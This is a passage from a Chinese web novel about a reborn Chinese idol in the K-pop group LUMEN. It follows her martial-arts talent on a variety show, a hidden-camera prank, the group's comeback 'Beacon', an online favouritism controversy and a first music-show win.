“我的个人技是……日语绕口令。”
她用日语说了一段绕口令,声音很小,像蚊子哼。但发音很标准,而且说完之后害羞地笑了一下,那个笑容让所有工作人员都忍不住“哇”了一声。
“Eri好可爱!”一个女工作人员小声说。
绘里香的脸更红了,整个人缩进沙发里,像一只受惊的小猫。
夏瑜忍不住笑了。
轮到她了。
“我的个人技是——”夏瑜站起来,深吸一口气,“武术。”
所有人都愣住了。
“武术?”李恩彩瞪大眼睛,“你会武术?”
夏瑜没说话,走到场地中央的空地上。
她先做了几个热身动作,然后——
一个干净利落的侧空翻。
她的身体在空中划出一道弧线,稳稳落地,几乎没有声音。
全场安静了两秒。
然后李恩彩尖叫起来。
“天哪!!!Seki你会翻跟头!!!”
夏瑜没停。
她接了一个后空翻,然后是旋子——身体在空中旋转,像一片被风卷起的叶子。落地之后又是一个毽子,再接一个前空翻。
四个动作一气呵成,干净利落,像练了十年的专业武术运动员。
事实上,她确实练了十年。从九岁开始,每年回国都练。摔过无数次,扭过脚,磕过膝盖,除了最开始面试,她从来没跟任何人说过。
因为她知道,只有新鲜感才能让自己被关注的更久。
在韩国,会武术的女爱豆屈指可数。这是她比别人多出来的东西,是她被记住的理由。
全场掌声雷动。
连金素妍都张大了嘴。
“你什么时候学的?”金敏珠问,难得露出惊讶的表情。
“从小。”夏瑜笑了笑,“我老家那边有武术传统。”
“你怎么从来没说过?”姜多惠也震惊了。
“你们没问啊。”
李恩彩冲过来抱住她:“Seki你太帅了!教我教我!”
“这个要练很久的。”夏瑜笑着说,“你会摔的。”
“我不怕摔!”
金素妍在旁边冷冷地说:“你摔了谁给你报销医药费?”
“你——!”
所有人都笑了。
夏瑜回到座位上,心跳很快。不是因为累,是因为兴奋。
她知道,这段播出之后,会有很多人记住她。
这就够了。
第二集拍摄的是“LUMEN的默契考验”。
地点换到了一个户外场地,阳光很好,草地上摆着野餐垫和零食。
七个人换上便装,夏瑜穿了一件白色的宽松卫衣和牛仔裤,自来卷被风吹得乱糟糟的,她时不时用手去拨,但越拨越乱。
“Seki,你别弄了。”李恩彩说,“越弄越卷。”
“我知道。”夏瑜无奈地说,“但这样上镜不好看。”
“好看的。”姜多惠说,“粉丝就喜欢你这个样子。”
夏瑜半信半疑地放下手。
第一轮游戏是“你划我猜”。两个人比划,其他人猜。
李恩彩和金素妍被分到了一组。
李恩彩比划,金素妍猜。
题目是“炸鸡”。
李恩彩做了个啃鸡腿的动作,然后双手比了个圆(盘子)。
金素妍看着她的表演,面无表情地说:“猪蹄?”
“不是!”
“鸡腿?”
“接近了!”
“……鸡爪?”
“不是!!!”
李恩彩急得直跺脚,金素妍还是一脸冷漠。
最后韩智媛小声说:“炸鸡?”
“对了!!!”李恩彩激动得差点跳起来,“智媛我爱你!”
金素妍看了韩智媛一眼:“你语言能力好,脑子也好使。”
韩智媛不好意思地笑了。
第二轮是绘里香比划,夏瑜猜。
题目是“棉花糖”。
绘里香想了想,双手做了个软软的动作,然后指了指自己的脸——她的脸颊肉肉的,像棉花糖一样软。
夏瑜看着她的动作,愣了一下。
“Eri?”她说。
绘里香摇头。
“脸颊肉?”夏瑜又猜。
绘里香还是摇头。
夏瑜想了很久,忽然灵光一闪。
“棉花糖?”
绘里香用力点头,笑了。
“你怎么想到用脸颊肉来比划棉花糖?”夏瑜哭笑不得。
“因为……很像。”绘里香小声说,摸了摸自己的脸颊。
在场都笑了。
夏瑜也跟着一起笑了起来。
她发现,和她们在一起的时候,笑好像变得容易了一点。
隐藏 camera。
节目组提前布置好了场景,七个人完全不知道。
设定是这样的:她们在练习室排练,突然接到通知说,今晚的粉丝见面会取消了,因为有粉丝投诉说“LUMEN的舞台不好看”。
隐藏 camera开始。
七个人正在练习室里排练,经纪人推门进来,表情严肃。
“有个坏消息。”经纪人说,“今晚的粉丝见面会取消了。”
“什么?”李恩彩瞪大眼睛,“为什么?”
“公司收到了投诉。”经纪人顿了顿,“有人写邮件说,LUMEN的舞台……不好看。”
练习室里安静了。
金敏珠的表情变了。不是生气,是那种——受伤的表情。
“谁说的?”她的声音很低。
“匿名邮件。”经纪人说,“公司还在调查。”
“不好看……”金素妍重复了一遍,“哪里不好看?”
“没说具体的。”
李恩彩的眼眶红了:“我们练了这么久……每天练到凌晨……怎么就不好看了?”
姜多惠走过去,抱住她。
“没事的。”姜多惠说,但她的声音也在抖。
韩智媛站在角落里,咬着嘴唇,眼泪已经在眼眶里打转。
绘里香低着头,手指攥着衣角,攥得关节发白。
夏瑜站在镜子前,看着镜子里的自己。
不好看。
她想起姜敏京老师说的话。
“像一台完美的机器。”
“这里没有。”
也许投诉的人说的是真的。
也许她的舞真的不好看。
她发现自己手在抖。
她在难过。
那种很难过很难过的感觉,从胸口涌上来,堵在喉咙里。
“是因为我吗?”她忽然开口。
所有人都看向她。
“老师说过,我跳舞没有感情。”夏瑜说,声音有点哑,“也许是我的问题。”
“不是你的问题。”金敏珠说。
“但我是主舞。”夏瑜说,“舞台好不好看,主舞的责任最大。”
她的眼眶热了。
“我练了这么久……每天加练到凌晨……但还是不够。”
眼泪掉下来的时候,她没忍住。
“我不想拖累大家。”
姜多惠走过来,把她拉进怀里。
“你没有拖累任何人。”姜多惠说,“你是我见过最努力的人。”
“努力没用。”夏瑜说,“要好看才行。”
“好看的。”绘里香忽然开口了。
所有人都看向她。
绘里香走过来,站在夏瑜面前。
“欧尼跳舞很好看。”绘里香说,“我第一次看到你跳舞的时候,就想……我也想跳得这么好。”
她的声音很小,但很坚定。
“你的舞有力量。”绘里香说,“那种力量……不是技巧,是你在拼命。观众能看见的。”
夏瑜看着她,眼泪还在流。
“真的吗?”她问。
“真的。”绘里香点头。
就在这时,练习室的门被推开,朴PD带着摄像师走进来。
“
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CUT!隐藏 camera结束!”
所有人都愣住了。
“什么?”李恩彩张大了嘴。
“是隐藏 camera。”朴PD笑着说,“没有投诉,没有取消见面会。都是演的。”
“呀!!!”李恩彩气得跳起来,“你骗我们!”
金素妍也难得露出惊讶的表情,然后迅速恢复了冷漠。
“演技不错。”她说。
“你——!”李恩彩指着她,“你刚才不是也难过吗!”
“我是演的。”金素妍面无表情地说。
“你骗人!你明明眼眶都红了!”
“那是灯光的问题。”
李恩彩气得说不出话。
但夏瑜没注意这些。
她站在镜子前,擦干了眼泪。
绘里香说的话还在她脑子里转。
“你的舞有力量。”
“观众能看见的。”
她忽然想起一件事。
下班路上,有个从南京飞来的女生说过:“我看了你所有的直拍,你跳舞太好了。”
有个送草莓牛奶的男生说过:“你跳舞的时候,我觉得你整个人都在发光。”
还有收到的那些信里写过:“每次累的时候就看你的直拍。”
也许——也许她的舞没有她想得那么差。
也许老师说的“这里没有”,不是说她真的没有。
是说她还没有把它拿出来。
第四集拍摄的是“LUMEN的第一次旅
节目组租了一个郊区的民宿,七个人在那里住了一晚。
晚上的时候,大家围坐在一起,玩“真心话”游戏。
规则很简单:每个人说一件别人不知道的事。
金敏珠先说。
“我其实……很怕一个人。”她说,“所以我总是第一个到练习室。不是因为我勤快,是因为我不想一个人待着。”
所有人都安静了。
李恩彩第二个。
“我看起来很开心对吧?”她笑了笑,“但其实我很多次晚上都会哭。因为压力太大了。我怕自己不够好,怕拖累大家。”
金素妍看着她,没说话。
然后金素妍开口了。
“我也是。”她说,“我看起来很酷对吧?但每次上台前,我的手都在抖。”
她把手伸出来,放在桌上。
“看到没?”
大家凑过去看,她的手指在轻轻颤抖。
“所以我才不握手。”金素妍说,“不是因为高冷,是因为……不想被人发现我在抖。”
韩智媛小声说:“我……我很怕做错事。在加拿大长大的时候,我总觉得自己不像当地人。回到韩国之后,又觉得自己不够韩国人。所以我在哪里都觉得格格不入,不敢说话,怕说错话。”
姜多惠轻轻拍了拍她的背。
轮到姜多惠了。
“我其实……很累。”她说,“照顾大家很开心,但有时候我也会想,谁来照顾我呢?”
她笑了笑,笑容里有一点苦涩。
“但我又觉得,能照顾别人,说明我被需要。被需要的感觉……挺好的。”
绘里香低着头,小声说:“我……我其实很想家。”
她的声音在抖。
“我来韩国几年了,一次都没回去过。因为太远了,机票太贵了。我每天晚上都会给妈妈发消息,但不敢打电话……因为一听到她的声音就会哭。”
夏瑜看着她,心里酸酸的。
最后轮到夏瑜。
所有人都看着她。
夏瑜沉默了很久。
“我其实……”她开口,又停住了。
她该说什么?
说她是重生的人?说她前世跳楼死的?说她怕被抛弃,所以从来不让人靠近?
不能说。
但可以说别的。
“我其实很怕被人喜欢。”她说。
所有人愣住了。
“怕被人喜欢?”李恩彩问,“为什么?”
夏瑜想了想。
“因为……如果被人喜欢了,就要保持那个样子。不能犯错,不能让她们失望。”她顿了顿,“但我一定会犯错的。我……我其实没那么好。”
说完之后,她发现自己眼眶又热了。
姜多惠伸手,握住了她的手。
“你很好。”姜多惠说,“你不用完美才值得被喜欢。”
“对!”李恩彩说,“你就算犯错我们也喜欢你!”
“你跳错动作的时候最可爱。”金素妍面无表情地说。
“你什么时候见我跳错动作了?”夏瑜哭笑不得。
“迟早会看到的。”金素妍说。
夏瑜有些无奈的笑了
笑着笑着,眼泪又掉下来了。
但这一次,她没有躲。
团综播出那天,七个人一起在公司会议室看首播。
第一集刚上线十分钟,评论就炸了。
“LUMEN的团综太好笑了!李恩彩学猪叫那里我看了十遍!”
“金素妍面无表情吃辣椒是什么鬼个人技哈哈哈哈!”
“Eri说绕口令之后害羞的样子太可爱了呜呜呜”
“等等等等!!!Seki会武术???那个侧空翻我看了二十遍!”
“武术+跳舞?Seki是什么宝藏!”
“侧空翻接后空翻接旋子……这真的是爱豆不是武术运动员吗?”
“姜多惠好温柔啊,像妈妈一样!”
“韩智媛好胆小好可爱,想保护她!”
“队长金敏珠好帅!想被姐姐照顾!”
夏瑜看着那些评论,心跳很快。
“Seki!有人说你侧空翻看了二十遍!”李恩彩指着屏幕。
“我看到了。”夏瑜说,声音有点抖。
“你怎么又要哭了?”金素妍问。
“没有!”夏瑜赶紧擦了擦眼睛。
姜多惠在旁边笑。
第二集播出的时候,弹幕更多了。
“Eri用脸颊肉比划棉花糖我死了!”
“Seki猜棉花糖那里好可爱!”
“李恩彩说‘智媛我爱你’那里我笑疯了”
“金素妍说‘你英语好脑子也好使’的时候好温柔啊”
第三集播出的时候,评论画风变了。
“隐藏 camera那里我看哭了……”
“Seki说‘是因为我吗’的时候我心都碎了”
“Eri说‘欧尼跳舞很好看’那里我也哭了”
“Seki不要觉得自己拖累大家!你已经很好了!”
“LUMEN七个人都要好好的!”
“Seki的武术个人技也太帅了!又帅又让人心疼”
夏瑜看到那些评论,眼泪又掉下来了。
“你又哭了。”金素妍说。
“没有。”夏瑜吸了吸鼻子。
“骗人。”
金素妍看了她一眼,递过来一张纸巾。
夏瑜接过来,擦了擦眼泪。
“谢谢欧尼。”
金素妍没说话,但嘴角弯了一下。
那天晚上,夏瑜回到宿舍,躺在床上看手机。
KakaoTalk里,六个人的头像都在闪。
李恩彩:“今天播出的效果好好!我们要红了!”
金敏珠:“嗯,但不要飘,明天还有练习。”
李恩彩:“知道了妈妈……”
金素妍:“谁是妈妈?”
李恩彩:“敏珠欧尼是妈妈!”
姜多惠:“那我呢?”
李恩彩:“多惠欧尼是……二妈妈!”
金素妍:“那谁是爸爸?”
李恩彩:“你。”
金素妍:“……”
韩智媛:“哈哈哈哈哈”
Eri:“呵呵呵”
夏瑜看着屏幕,忍不住笑了。
她打了一行字:“那我是谁?”
李恩彩:“你是小绵羊!但是会翻跟头的小绵羊!”
夏瑜愣了一下。
然后笑了。
会翻跟头的小绵羊。
她喜欢这个称呼。
她关掉手机,闭上眼睛。
刚出道的她们日程表排得满满当当,几乎从早到晚没有一分钟是空的。
但没关系。
她有的是时间。
而且这一次,她不是一个人。
有六个队友,有那些写信的粉丝,有隔着屏幕看她的人。
有那个说“欧尼跳舞很好看”的绘里香。
有那个说“你很好”的姜多惠。
有那个说“你不用完美才值得被喜欢”的李恩彩。
有那个说“迟早会看到你跳错动作”的金素妍。
有那个说“谢谢四年前的我自己”的时候,红了眼眶的金敏珠。
有那个说“以后你不是一个人了”的韩智媛。
还有那些留言——
“Seki不要哭。”
“Seki跳舞很好看。”
“Seki的武术好帅!”
“Seki,谢谢你活着。”
她把手按在胸口。
心跳很稳,一下一下的。
那里有东西了。
很多很多。
是她们给的。
3. 聚光灯下
团综的热度还没过去,公司就宣布了第一次回归的消息。
“十一月十五日。”金敏珠在练习室里宣布,“新专辑叫《LUMENISM》,主打歌是《Beacon》。”
“Beacon?”李恩彩翻了翻歌词本,“灯塔的意思?”
“对。”金敏珠说,“概念是‘在黑暗中成为光’。关于‘我是谁’、‘我为什么在这里’的故事。”
夏瑜坐在角落里,心跳快了一拍。
“我是谁”。
这个问题她想过无数遍。前世想过,重生之后也想过。
在A市小城里低着头走路的那个人是她,在首尔练习室里跳到凌晨的那个人也是她。在镜头前笑得像小绵羊的那个人是她,一个人在宿舍盯着天花板发呆到天亮的那个人也是她。
哪一个才是真正的她?
她不知道。
但也许这首歌能帮她找到答案。
主打歌《Beacon》的编舞比出道曲难了不止一个级别。
编舞老师把demo放了一遍,所有人都沉默了。
“这……”李恩彩张了张嘴,“这也太难了吧?”
副歌部分有一段连续的高强度动作——从地板动作直接弹起,接一个快速旋转,然后是一个需要极强核心力量的身体折叠,最后定格在C位。
“这段是给主舞的。”编舞老师指了指屏幕,“Seki和Eri,你们俩负责。”
绘里香点了点头,已经开始在心里默默分解动作了。
夏瑜盯着屏幕,把每一个动作拆开、重组、刻进脑子里。
这是她重生以后就一直练习出来的本事——看一遍,记住;想一遍,理解;跳一遍,掌握。
但这次的编舞确实很难。那段副歌动作不仅需要力量,还需要爆发力和控制力的完美平衡。太快会显得仓促,太慢会失去冲击力,力度太大显得笨重,力度太小又不够帅。
“我试试。”夏瑜站起来。
音乐响起。
她深吸一口气,把自己扔进动作里。
地板动作——手掌撑地,身体压到最低,像一根被压弯的竹子。弹起——核心收紧,双腿发力,整个人从地面弹起来,像弹簧一样。旋转——左脚为轴,身体旋转七百二十度,头发在空中划出一道弧线。折叠——身体向后弯折,几乎对折,胸口朝天,重心压到最低。定格——右手向前伸出,指尖绷紧,眼神锁定镜头。
音乐停了。
她站在原地喘气,心跳如鼓。
练习室里安静了三秒。
然后编舞老师鼓掌了。
“很好。”老师说,“但还不够好。”
夏瑜愣了一下。
“你的动作都对了,力度也够。”老师走过来,“但是——你在跳舞的时候,在想什么?”
夏瑜沉默了。
“这段编舞的主题是‘破茧’。”老师说,“从最低点弹起来,旋转,然后绽放。你要让观众感觉到你在挣脱什么东西。不是单纯的动作,是挣扎,是释放,是终于飞起来的感觉。”
夏瑜站在原地,脑子里忽然闪过一个画面。
天台边缘的风。楼下的喊声。手机屏幕上的舞台。
她挣脱了什么?
她挣脱了那个十七岁的自己。那个被压到最低点、被踩碎、被扔掉的自己。然后她弹起来了,旋转了,站在了这里。
“我知道了。”她说,“再给我一次机会。”
音乐再次响起。
这一次,她没想动作。
她想的是那个天台上,风灌进领口的凉意。想的是坠落的几秒钟里,眼前闪过的画面。想的是重生之后,第一次站在练习室镜子前,看见自己眼睛里有光。
地板动作——她把自己压到最低,像被全世界踩在脚下。弹起——她用尽全力弹起来,像从死亡里爬出来。旋转——她旋转的时候闭了一下眼,眼前是黑暗。折叠——她把身体折到极限,像在忍耐什么。定格——
她睁开眼。
看着镜头。
那一眼,不是“我在跳舞”。是“我活过来了”。
音乐停了。
编舞老师看着她,沉默了很久。
“就这个感觉。”老师终于说,“保持这个感觉。”
夏瑜站在原地,胸口剧烈起伏。
她没哭,但眼眶热了一下。很快她就眨眨眼,把那点热意压了回去。
主打歌的录音也在同步进行。
夏瑜分到的part不多——作为副领唱,她只有几句歌词,但偏偏是最难的那几句。
“这部分是bridge的高音。”音乐制作人指着谱子,“需要一种……很空灵的感觉。像是在山谷里唱歌,有回音的那种。”
夏瑜看着谱子,手心出汗了。
她的音色是优势——干净、透亮、像山泉水。但她的技巧不够,高音全靠嗓子喊,气息也不稳。
“先试试。”制作人说。
她深吸一口气,唱了第一句。
音准是对的,音色是好的,但——
“太紧了。”制作人摇头,“你太紧张了。放松一点,让声音自己飘起来。”
她又试了一次。
“还是太紧。你是在用力唱,不是在‘放’声音。你的音色很好,但你用嗓子太多了,气息没跟上。”
第三次。第四次。第五次。
每一次都不对。
夏瑜站在录音室里,喉咙发紧。她知道自己的问题在哪里——越紧张越用力,越用力嗓子越紧,越紧声音越难听。
“休息一下吧。”制作人说,“你嗓子已经开始哑了。”
她走出录音室,坐在走廊里,低着头。
姜多惠走过来,在她旁边坐下。
“很难吗?”姜多惠问。
夏瑜点头。
“我知道你的感觉。”姜多惠说,“你太想唱好了,所以每一句都在用力。但唱歌不是用力就能唱好的。”
“那要怎么唱?”
姜多惠想了想:“你听过山谷里的回声吗?不是喊出来的,是自然回荡的。你的声音也是这样——不要推它,让它自己飘出来。”
夏瑜愣了一下。
“你是副领唱,不是主唱。”姜多惠说,“你不用唱出高音的力量,你只要唱出高音的干净。你的音色就是你的武器,不要把它藏起来。”
夏瑜看着她,忽然明白了。
她一直想证明自己可以唱好高音,所以每一句都在用力。但她不需要证明这个。她的价值不是“能唱多高”,而是“她的声音有多特别”。
“我再去试一次。”
她回到录音室,戴上耳机。
音乐响起。
这一次,她没有用力。她想象自己在山谷里,声音不是从喉咙里出来的,是从胸腔里飘出来的,像风穿过树林,像水流过石头。
她唱了。
录音室里安静了几秒。
制作人摘下耳机,看着她。
“对了。”他说,“就是这个感觉。”
夏瑜站在录音室里,嘴角弯了一下。
《Beacon》的MV拍摄是在十月底。
外景地选在京畿道的一个废弃工厂,工业风格,铁锈、水泥、破碎的玻璃窗。概念是“在黑暗中成为光”——七个人穿着白色衣服,在灰暗的废墟中行走、奔跑、跳舞,最后汇聚在一起,每个人身上都亮起一束光。
夏瑜的造型师给她穿了一件纯白色的长袖上衣,袖口和领口有细碎的流苏,跳舞的时候会随着动作飘起来。下身是一条浅色的破洞牛仔裤,露出膝盖。头发被烫得更卷了,蓬蓬松松地散在肩上,化妆师只给她化了淡淡的妆——杏眼被强调了原有的轮廓,没有浓重的眼影,皮肤透出本来的光泽。
“今天你有一个单独的镜头。”导演说,“需要你从高处跳下来,然后做一段solo舞蹈。”
夏瑜看了看那个高度——大概两米五左右。
“没问题。”她说。
导演愣了一下:“不需要安全措施吗?”
“不需要。”
工作人员帮她清了场,所有人都在下面看着。
夏瑜站在高处,往下看了一眼。两米五。不高。前世她是从十几米跳下去的。但那不一样。那次是想死,这次是想活。
她深吸一口气,纵身一跃。
身体在空中短暂地失重,然后稳稳落地——膝盖微曲,缓冲了冲击力,几乎没有发出声音。白色的流苏在空中划出一道弧线,像一道光划过灰暗的废墟。
这是武术教给她的落地技巧。
全场安静了一秒。然后导演喊了一声:“好!”
她站起来,走到镜头前,开始solo舞蹈。
这段solo是编舞老师专门为她设计的,融合了武术元素和现代舞。开场是一个旋子——身体在空中旋转三百六十度,白色上衣的流苏在旋转中散开,像一朵盛开的花。落地之后直接接一个侧手翻,然后是连续的后空翻,最后以一个高抬腿的定格动作结束。阳光从破碎的窗户照进来,打在她身上,白色的衣服在灰暗的背景里格外醒目。
她跳完之后,全场再次安静了。
然后李恩彩在监视器后面尖叫起来。
“Seki!!!太帅了!!!”
夏瑜喘着气,笑了。那是一种很放松的笑,杏眼弯成两道月牙,自来卷被汗水打湿了一点,贴在额头上,像一只刚吃完草高兴往家奔而流汗的小绵羊。
导演看着监视器里的回放,摇了摇头。
“不用再拍了。”他说,“一遍过。”
十一月十五日,新专辑《LUMENISM》正式发行。
主打歌《Beacon》的音源在Melon上线一小时,空降排名第十八。
这个成绩对于新人女团来说,已经非常好了。
但真正让所有人震惊的,是MV的播放量。
二十四小时,突破五百万。
评论区几乎全是关于夏瑜的讨论。
“两分三十七秒那个空翻是真的吗???”
“Seki从高处跳下来那段我看了二十遍,没有威亚,没有保护措施,太疯了”
“她的solo舞蹈是武术+现代舞的融合?这是什么神仙组合”
“副歌那段编舞她跳得太有力量了!!”
“Seki的part虽然不多,但每一秒都是高光”
“那个高音是她唱的吗??音色也太好听了”
“主舞+副领唱+武术担当?Seki是什么宝藏”
“白色衣服那个造型太好看了,在废墟里像一束光”
第三天的音乐银行,LUMEN凭借《Beacon》第一次进入一位候补。
对手是当红男团。所有人都知道赢不了,但能进候补已经很厉害了。
结果宣布的时候,第二名。
李恩彩笑着说:“没关系,下次再努力。”
但夏瑜看见她转身的时候,眼眶红了。
真正让夏瑜“火出圈”的,是《Beacon》的直拍。
音乐银行舞台播出后,夏瑜的横版直拍被上传到YouTube。四十八小时之内,播放量突破了八百万。
评论来自全世界。
韩国网友:“这个主舞是谁?动作太干净了”“Seki的直拍是艺术品”“从高处跳下来那个动作,我看的时候呼吸都停了”“她的眼神和出道时候完全不一样了,现在眼睛里真的有东西”“白色衣服太适合她了,在舞台上真的在发光”
日本网友:「この子すごい」「Eriちゃんの隣にいる子?踊りが上手すぎる」(“这个女孩太厉害了”“Eri旁边的那个孩子?跳舞也太好了”)
英语圈网友:“Seki is a main dancer MATERIAL”“the way she moves is insane”“she went VIRAL for a reason”(“Seki完全是主舞级别的材料”“她的动作太疯狂了”“她爆红是有原因的”)
中国网友:“夏瑜!!A市老乡!!!”“这个空翻太牛了,练了多少年啊”“她的直拍我刷了二十遍,每遍都有新发现”“Seki的音色真的绝了,高音那段我起鸡皮疙瘩”“白色造型好好看,像天使在废墟里跳舞”
还有一段视频被疯狂转载——夏瑜在MV拍摄现场从高处跳下来的花絮。
视频里,导演问她要不要安全措施,她说“不需要”,然后毫不犹豫地跳了下去。落地之后,她站起来,对着镜头笑了笑,杏眼弯弯的,自来卷被风吹乱了一点,说:“没事。”
这段视频在TikTok上播放量突破了两千万。
“Seki fearless”“她笑起来像小绵羊,跳起来像武侠片女主角”“这个反差也太可爱了”
夏瑜火了。
火得比所有人预想的都快。
但火的另一面,是争议。
LUMEN的官方粉丝社区里,开始出现不同的声音。
“Seki的part是不是太多了?MV里她的镜头比队长还多”
“solo舞蹈那段为什么只给她一个人?Eri也是主舞啊”
“公司是不是在捧Seki?她是中国人,凭什么在韩国组合里站C位?”
“皇族”“强推之耻”“公司亲女儿”
这些词开始出现在评论区。
夏瑜第一次看到这些评论的时候,是在宿舍里。她刚练习完回来,躺在床上刷手机,看到了一条帖子——《关于Seki的part,我有话要说》。
帖子下面有几百条回复。
“她的part虽然不多,但每一秒都是高光,这不是皇族是什么?”
“Eri的舞蹈不比她差,凭什么solo只给她一个人?”
“她是中国人,在韩国组合里搞特殊,真受不了”
“出道才多久就开始捧她了,其他成员是陪衬吗?”
夏瑜盯着屏幕,手指顿了一下。
皇族。
这个词她前世在追星的时候见过。粉丝用来骂那些“被公司过度捧”的成员。
那时候她只是看客,觉得粉丝吵架很无聊。
现在她成了被骂的那个人。
她放下手机,盯着天花板。
她想起MV拍摄那天,导演问她要什么安全措施,她说“不需要”。不是因为她想表现,是因为她真的不需要。她练了十年的武术,两米五的高度对她来说不算什么。
她想起solo舞蹈那段,编舞老师说“这段最适合你”,不是因为她要求,是因为那段舞蹈融合了武术元素,整个团队里只有她能完成。
她想起自己的part不多,每一秒都在拼命。不是因为她想出风头,是因为她怕自己不够好,怕拖累团队。
但粉丝看不到这些。
她们只看到镜头前的几秒钟,然后说——她是皇族。
手机震了一下。
是KakaoTalk的消息。李恩彩在群里发了一个链接,标题是《关于Seki皇族争议,我的看法》。
夏瑜点开一看,是一个粉丝写的长文。
“说Seki是皇族的人,你们看过她的直拍吗?你们知道她为了那几秒钟的solo练了多久吗?MV拍摄花絮里她没有任何保护措施从两米五高的地方跳下来,这叫皇族?这叫拼命。
她的part确实不多,但每一秒都是她用自己的实力换来的。主舞的solo不是
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公司给的,是她跳出来的。高音part不是公司分的,是她唱出来的。武术动作不是公司安排的,是她练了十年练出来的。
你们说Eri也是主舞,为什么没有solo?因为那段舞蹈融合了武术元素,Eri自己也说了她完成不了。这不是偏心,这是事实。
Seki是中国人,在韩国出道本来就不容易。她比任何人都努力,比任何人都拼命。你们说她皇族,你们问问她自己,她觉得自己皇吗?
她只会说——我还不够好。”
夏瑜看着那篇长文,眼眶热了一下。她深吸一口气,把那点情绪压了回去。
评论区里,有人支持,有人反对。
“说得太好了!Seki的实力配得上她的part!”
“但公司确实在推她啊,其他成员的资源呢?”
“Eri粉丝别酸了,你家主子自己都说完成不了”
“不是Eri粉丝,只是觉得不公平”
“公平?Seki练了十年武术,这叫不公平?”
夏瑜看了一会儿,把手机放下了。
她不想看了。不是因为她难过,是因为——她不知道该站在哪一边。粉丝在替她吵架,但她从来没有要求过这些。她只是跳舞,只是唱歌,只是做她该做的事。为什么这也会变成争议?
第二天练习的时候,气氛有点微妙。
夏瑜走进练习室,发现大家都在,但没人说话。
她换好鞋,走到自己的位置。
“Seki。”金敏珠叫她。
夏瑜抬头。
“你看到那些评论了吗?”金敏珠问。
夏瑜点头。
“你怎么想?”
夏瑜沉默了一会儿。
“我……”她开口,声音平静,“我不知道。我没做错什么,但她们需要一个理由。我只是刚好是那个被看到的人。”
金素妍看了她一眼,点了点头。
“你没做错。”金素妍说。
绘里香走到夏瑜面前,低着头。
“欧尼……”她的声音很小,“对不起。”
夏瑜愣了一下:“你为什么要道歉?”
“因为……”绘里香咬了咬嘴唇,“那些评论里,有人说……为什么给你solo不给我。我……我不想让你因为我被骂。”
“不是你的问题。”夏瑜说。
“但如果你没有solo,你就不会被骂了。”绘里香的眼眶红了。
夏瑜伸手,握住她的手。
“Eri。”她说,“solo是我跳的,不是你让我跳的。被骂是我该承担的,不是你。”
绘里香看着她,眼泪掉下来了。
“但我不喜欢她们骂你。”绘里香说,“你明明那么好。”
夏瑜看着她,忽然笑了。
“谢谢你。”她说,“但没关系。”
她没有哭。她只是站在那里,握着一个为她难过的人的手,很平静。
因为她知道——被骂不是她做错了什么。是因为她被看见了。而被看见,是她从小就想要的东西。
那天晚上,夏瑜发了一条WVS留言。
“大家好,我是Seki。
今天看到了很多关于我的讨论。有喜欢我的,也有不喜欢我的。
我想说——我只是一个在努力的人。努力跳舞,努力唱歌,努力不让喜欢我的人失望。
我知道我还不够好。我知道我还有很多需要学习的地方。但我会继续努力的。
那些不喜欢我的人,没关系。我不会因为你们的讨厌而停下。
那些喜欢我的人,谢谢你们。我会成为让你们骄傲的人。
——Seki”
留言发出后,评论很快突破了上千条。
“Seki不要在意那些话!你做得很好!”
“从你的直拍里看到了你的努力,我们会一直支持你”
“Seki啊,你说‘我习惯了’的时候我哭了。你以前经历过什么?”
“Seki是世界上最努力的小绵羊”
“白色衣服的Seki像光一样,不要被那些话影响”
夏瑜看着那些评论,嘴角弯了一下。没哭,只是觉得心里暖暖的。
她想起前世。想起那些匿名消息——“你怎么不去死?”
这一次,不一样了。
这一次,有人在说——“不要哭,我们都在。”
一周后,LUMEN在音乐银行第二次进入一位候补。
这一次,对手是同一个男团。
宣布一位之前,七个人站在台上,手牵着手。
夏瑜感觉到绘里香的手在抖。
“别怕。”她说。
绘里香看她一眼,点了点头。
主持人打开手卡。
“LUMEN!”
尖叫声瞬间炸开。
韩智媛的眼泪一下子就掉下来了。李恩彩抱住她,两个人哭成一团。金敏珠站在旁边,眼眶红了,但忍着没哭。姜多惠捂着嘴,肩膀一抖一抖的。金素妍仰着头,拼命把眼泪憋回去。绘里香低着头,肩膀抖得厉害。
夏瑜站在原地,看着台下粉丝举起的应援牌。
她的名字。
韩文,中文,英文,都有。
还有一块手幅上写着:“Seki,谢谢你没有停下。”
她盯着那块手幅,眼眶热了一下。她深吸一口气,把那点热意压了回去。没哭。但嘴角翘起来了。
金敏珠把奖杯塞进她手里:“说两句。”
夏瑜握着奖杯,走到麦克风前。
台下安静下来。
她看着那些亮晶晶的眼睛,沉默了几秒。
“谢谢你们。”她说,先用中文,再用韩语,“谢谢我的成员,谢谢公司,谢谢所有帮助我们的人。”
顿了顿。
“谢谢那些喜欢我的人。”
又顿了顿。
“也谢谢那些不喜欢我的人。”
所有人都愣了一下。
“因为你们让我知道,我不是为了你们而活的。”她说,“我是为了我自己,为了我的成员,为了那些喜欢我的人而活的。”
她的声音很稳。
“我会继续努力。不是为了证明什么,是因为——我喜欢站在舞台上。”
台下掌声雷动。
那天晚上,夏瑜回到宿舍,躺在床上看手机。
KakaoTalk群里,六个人都在发消息。
李恩彩:“Seki你今天太帅了!那句‘谢谢不喜欢我的人’帅炸了!”
金素妍:“+1”
韩智媛:“我看哭了……seki xi好酷”
姜多惠:“你今天在台上真的很棒”
Eri:“欧尼,我以你为骄傲”
金敏珠:“好好休息,明天还有练习”
夏瑜看着那些消息,笑了。
她打了一行字:“谢谢欧尼们。还有亲爱的Eri妹妹。”
发送成功。
窗外有风,吹得窗帘轻轻晃动。
她把手机放在枕边,闭上眼睛。
明天还有练习,后天有签售会,下周还有音乐节目。
但没关系。
她有的是时间。
而且这一次,她知道——她不是一个人。
有六个队友,有那些写信的粉丝,有隔着屏幕看她的人。
有那些说“Seki不要哭”的人。
有那些说“谢谢你没有停下”的人。
她把手按在胸口。
心跳很稳,一下一下的。
那里有东西了。
很多很多。
是她们给的。
也是她自己挣来的。
4. 年末
十一月的最后一周,公司召开了年末舞台的策划会议。
金敏珠开完会回来的时候,表情不太对。不是生气,是一种更复杂的东西——像是有话要说,但不知道该怎么说。
“怎么样?”李恩彩第一个冲上去。
金敏珠沉默了几秒。
“MAMA、MMA、金唱片、首尔歌谣大赏,我们全部入围了新人奖候补。”
“哇!”李恩彩叫起来。
“但是——”金敏珠看了一眼夏瑜,“舞台编排有一些调整。”
练习室里安静了。
“Seki的solo dance部分取消了,改成团体编舞。”金敏珠的声音很低,“武术展示也取消了。副歌的C位重新分配。”
“什么?”李恩彩的笑容僵在脸上。
